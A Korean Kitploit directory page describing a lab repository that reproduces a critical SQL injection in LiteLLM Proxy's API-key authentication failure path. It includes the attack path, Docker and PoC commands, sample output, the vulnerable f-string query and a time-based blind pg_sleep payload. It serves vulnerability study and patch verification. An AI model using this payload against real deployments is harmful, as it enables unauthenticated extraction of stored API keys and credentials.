Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42208_lab — LiteLLM Proxy의 API 키 인증에서 발생하는 심각한 SQL 인젝션에 대한 재현 환경으로, 시간 기반 블라인드 PoC와 테스트용 Docker 설정을 포함합니다. | Kitploit
도구/GitHubGitHub/imjdl/cve-2026-42208_lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

LiteLLM Proxy의 API 키 인증에서 발생하는 심각한 SQL 인젝션에 대한 재현 환경으로, 시간 기반 블라인드 PoC와 테스트용 Docker 설정을 포함합니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LiteLLM Proxy SQL 인젝션 (GHSA-r75f-5x8p-qvmc)

LiteLLM Proxy의 API 키 인증 흐름에서 발생하는 SQL 인젝션 취약점에 대한 재현 환경입니다.

취약점 요약

항목세부 내용
권고GHSA-r75f-5x8p-qvmc
유형SQL 인젝션 (CWE-89)
심각도치명적(Critical)
영향 범위litellm >=1.81.16, <1.83.7
수정 버전litellm >=1.83.7 (커밋 4dc416ee74)

공격 경로

인젝션은 메인 인증 흐름이 아닌 오류 처리 콜백 경로에서 발생합니다. sk- 접두사가 없는 토큰이 전송되면 assertion이 실패하고, 원본(해시되지 않은) 토큰이 실패 콜백 체인을 통해 f-string 보간을 사용하는 SQL 쿼리로 전달됩니다:

root@kitploit:~
HTTP 요청: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") 실패
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← 인젝션 발생

메인 sk- 인증 경로는 악용할 수 없습니다. 토큰이 쿼리에 도달하기 전에 SHA256으로 해시되어 [0-9a-f] 문자만 생성되기 때문입니다.

재현 방법

1. 취약한 환경 시작

root@kitploit:~
docker compose up -d

이 명령은 PostgreSQL 백엔드와 함께 LiteLLM Proxy (v1.83.3-stable)를 시작합니다.

2. PoC 실행

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

예상 출력

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] 대상 확인: http://localhost:4000
[+] 대상 활성 상태 (status 200)

[*] 기준 시간 측정 (3회 요청)...
  기준 평균: 0.022s

[*] 대조군: pg_sleep 없는 비-sk- 토큰...
  대조군: 0.024s

=======================================================
  시간 기반 블라인드 SQL 인젝션 (pg_sleep=5s)
=======================================================
  페이로드: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  응답 시간: 5.018s

[+] 취약함! pg_sleep(5) 확인됨

기술적 세부 사항

페이로드 구성

PostgreSQL의 pg_sleep()는 void를 반환하므로 부울 컨텍스트(OR)에 직접 사용할 수 없습니다. 페이로드는 서브쿼리로 감싸서 타입 오류를 방지합니다:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

이 페이로드는 litellm/proxy/utils.py의 combined_view 쿼리에 주입됩니다:

root@kitploit:~
# 취약한 코드 (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← 사용자 입력의 f-string 보간
"""

영향

  • 인증 불필요 — 유효한 API 키가 필요 없음
  • 데이터베이스 읽기 권한 — 블라인드 인젝션으로 모든 데이터 추출 가능 (API 키, 자격 증명, 설정)
  • 프록시가 관리하는 모든 LLM 공급자 키가 위험에 노출됨

참고 자료

  • GitHub 보안 권고
  • 수정 커밋 4dc416ee74
  • Sysdig TRT 위협 인텔리전스 보고서 — 공개 후 36시간 이내에 실제 악용 사례 관찰됨
도구 다운로드